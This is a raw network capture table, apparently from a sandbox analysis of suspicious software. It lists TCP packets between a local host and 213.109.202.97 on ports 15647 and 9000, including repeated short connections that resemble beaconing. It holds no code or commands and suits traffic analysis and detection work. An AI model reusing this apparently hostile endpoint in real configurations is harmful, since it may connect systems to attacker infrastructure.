Oct 19, 2024 03:37:43.705446005 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:43.711019993 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:43.789066076 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:43.794054031 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:43.863991022 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:43.890573978 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:43.895416021 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:43.973032951 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:43.978590012 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:43.983439922 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:44.048471928 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:44.070215940 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:44.075087070 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:44.117592096 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:44.144614935 CEST	9000	49848	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:44.163528919 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:44.164935112 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:44.169730902 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:44.194751024 CEST	49848	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:44.233536005 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:44.257492065 CEST	49848	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:44.257806063 CEST	49854	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:44.257806063 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:44.261888981 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:44.262686014 CEST	9000	49854	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:44.262696981 CEST	9000	49848	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:44.262751102 CEST	49854	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:44.262774944 CEST	49848	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:44.262871027 CEST	49854	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:44.263010025 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:44.267549992 CEST	9000	49854	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:44.304039001 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:44.351677895 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:44.356488943 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:44.378114939 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:44.429053068 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:44.445430040 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:44.490643024 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:44.525389910 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:44.539618015 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:44.544483900 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:44.618089914 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:44.632760048 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:44.637598038 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:44.711940050 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:44.712574005 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:44.717363119 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:44.804578066 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:44.805953026 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:44.809478998 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:44.851161003 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:44.887168884 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:44.892009020 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:44.899420023 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:44.944659948 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:44.976584911 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:44.978950977 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:45.022711992 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:45.022818089 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:45.054646015 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:45.059472084 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:45.070848942 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:45.116662025 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:45.132725954 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:45.178714991 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:45.182348967 CEST	9000	49854	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:45.211982965 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:45.216881990 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:45.226037025 CEST	49854	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:45.243005991 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:45.288425922 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:45.289189100 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:45.289772034 CEST	49854	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:45.290079117 CEST	49860	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:45.294873953 CEST	9000	49854	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:45.294903994 CEST	9000	49860	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:45.294939041 CEST	49854	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:45.295000076 CEST	49860	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:45.295131922 CEST	49860	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:45.299854994 CEST	9000	49860	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:45.321208954 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:45.366539001 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:45.367311954 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:45.399245024 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:45.444808006 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:45.445521116 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:45.478368044 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:45.522794008 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:45.523690939 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:45.556222916 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:45.600931883 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:45.602092028 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:45.638643026 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:45.679084063 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:45.680877924 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:45.712048054 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:45.757285118 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:45.757682085 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:45.790158033 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:45.835303068 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:45.836062908 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:45.868402004 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:45.913609028 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:45.915699959 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:45.947201014 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:45.991566896 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:45.993895054 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:46.024102926 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:46.069700003 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:46.070255041 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:46.102701902 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:46.147811890 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:46.149488926 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:46.181982040 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:46.213063955 CEST	9000	49860	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:46.226018906 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:46.226399899 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:46.257272959 CEST	49860	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:46.260855913 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:46.304066896 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:46.304968119 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:46.320142031 CEST	49860	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:46.320802927 CEST	49866	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:46.325424910 CEST	9000	49860	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:46.325560093 CEST	49860	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:46.325654984 CEST	9000	49866	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:46.325730085 CEST	49866	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:46.325906038 CEST	49866	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:46.330635071 CEST	9000	49866	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:46.337236881 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:46.382179976 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:46.383219004 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:46.416311026 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:46.460308075 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:46.462191105 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:46.492866039 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:46.538434982 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:46.571348906 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:46.574975967 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:46.626631021 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:46.649692059 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:46.695297003 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:46.728733063 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:46.758579016 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:46.763360023 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:46.834484100 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:46.870568037 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:46.873121977 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:46.875582933 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:46.929050922 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:46.973479033 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:46.978410959 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:47.027076006 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:47.057972908 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:47.062807083 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:47.133266926 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:47.138062000 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:47.211076975 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:47.215975046 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:47.222506046 CEST	9000	49866	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:47.229542017 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:47.272819996 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:47.272824049 CEST	49866	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:47.290160894 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:47.324824095 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:47.336539984 CEST	49866	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:47.336838007 CEST	49872	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:47.342298031 CEST	9000	49866	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:47.342308998 CEST	9000	49872	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:47.342365980 CEST	49866	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:47.342394114 CEST	49872	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:47.342466116 CEST	49872	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:47.347206116 CEST	9000	49872	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:47.366561890 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:47.367227077 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:47.373784065 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:47.413458109 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:47.445806026 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:47.477677107 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:47.522815943 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:47.523346901 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:47.556595087 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:47.600954056 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:47.601622105 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:47.633523941 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:47.679075003 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:47.679666996 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:47.712068081 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:47.757189035 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:47.758619070 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:47.789555073 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:47.835316896 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:47.835860014 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:47.868031979 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:47.913583040 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:47.913992882 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:47.946758032 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:47.991581917 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:47.992024899 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:48.024970055 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:48.069726944 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:48.071069956 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:48.102803946 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:48.147833109 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:48.148509026 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:48.180766106 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:48.214493036 CEST	9000	49872	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:48.225960016 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:48.227473974 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:48.257211924 CEST	49872	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:48.258259058 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:48.304178953 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:48.304646015 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:48.320063114 CEST	49872	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:48.320334911 CEST	49878	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:48.325145960 CEST	9000	49878	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:48.325222969 CEST	49878	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:48.325280905 CEST	9000	49872	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:48.325314045 CEST	49878	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:48.325345039 CEST	49872	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:48.330195904 CEST	9000	49878	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:48.337784052 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:48.382205963 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:48.382750988 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:48.415086031 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:48.460340023 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:48.460985899 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:48.493890047 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:48.538477898 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:48.539012909 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:48.571089983 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:48.616667032 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:48.617032051 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:48.649343967 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:48.694833994 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:48.696650028 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:48.727849960 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:48.772881031 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:48.773796082 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:48.805701971 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:48.850970030 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:48.851552010 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:48.883423090 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:48.929230928 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:48.929687023 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:48.971409082 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:49.007894993 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:49.040416956 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:49.085434914 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:49.085866928 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:49.118043900 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:49.163470030 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:49.165765047 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:49.193258047 CEST	9000	49878	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:49.196161985 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:49.241694927 CEST	49878	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:49.241700888 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:49.242060900 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:49.274342060 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:49.304423094 CEST	49878	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:49.304709911 CEST	49884	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:49.309549093 CEST	9000	49878	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:49.309592962 CEST	9000	49884	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:49.309639931 CEST	49878	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:49.309684992 CEST	49884	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:49.309783936 CEST	49884	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:49.314532995 CEST	9000	49884	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:49.319715023 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:49.320236921 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:49.352432966 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:49.397841930 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:49.399732113 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:49.432194948 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:49.475965977 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:49.476500988 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:49.508862972 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:49.554193974 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:49.554620028 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:49.586694956 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:49.632347107 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:49.633713007 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:49.668658972 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:49.710479021 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:49.710890055 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:49.742914915 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:49.788564920 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:49.788944960 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:49.821315050 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:49.866703033 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:49.867377043 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:49.900441885 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:49.944736004 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:49.945282936 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:49.977165937 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:50.022902966 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:50.023420095 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:50.055792093 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:50.101049900 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:50.103233099 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:50.133819103 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:50.179125071 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:50.180856943 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:50.211805105 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:50.216216087 CEST	9000	49884	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:50.257334948 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:50.257340908 CEST	49884	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:50.257746935 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:50.289716959 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:50.320719957 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:50.320986986 CEST	49884	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:50.321279049 CEST	49894	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:50.326034069 CEST	9000	49894	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:50.326049089 CEST	9000	49884	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:50.326133966 CEST	49884	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:50.326145887 CEST	49894	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:50.326246977 CEST	49894	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:50.330941916 CEST	9000	49894	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:50.366770029 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:50.369584084 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:50.383136034 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:50.389004946 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:50.445574045 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:50.447530985 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:50.450443029 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:50.491648912 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:50.516971111 CEST	49704	15647	192.168.2.5	213.109.202.97
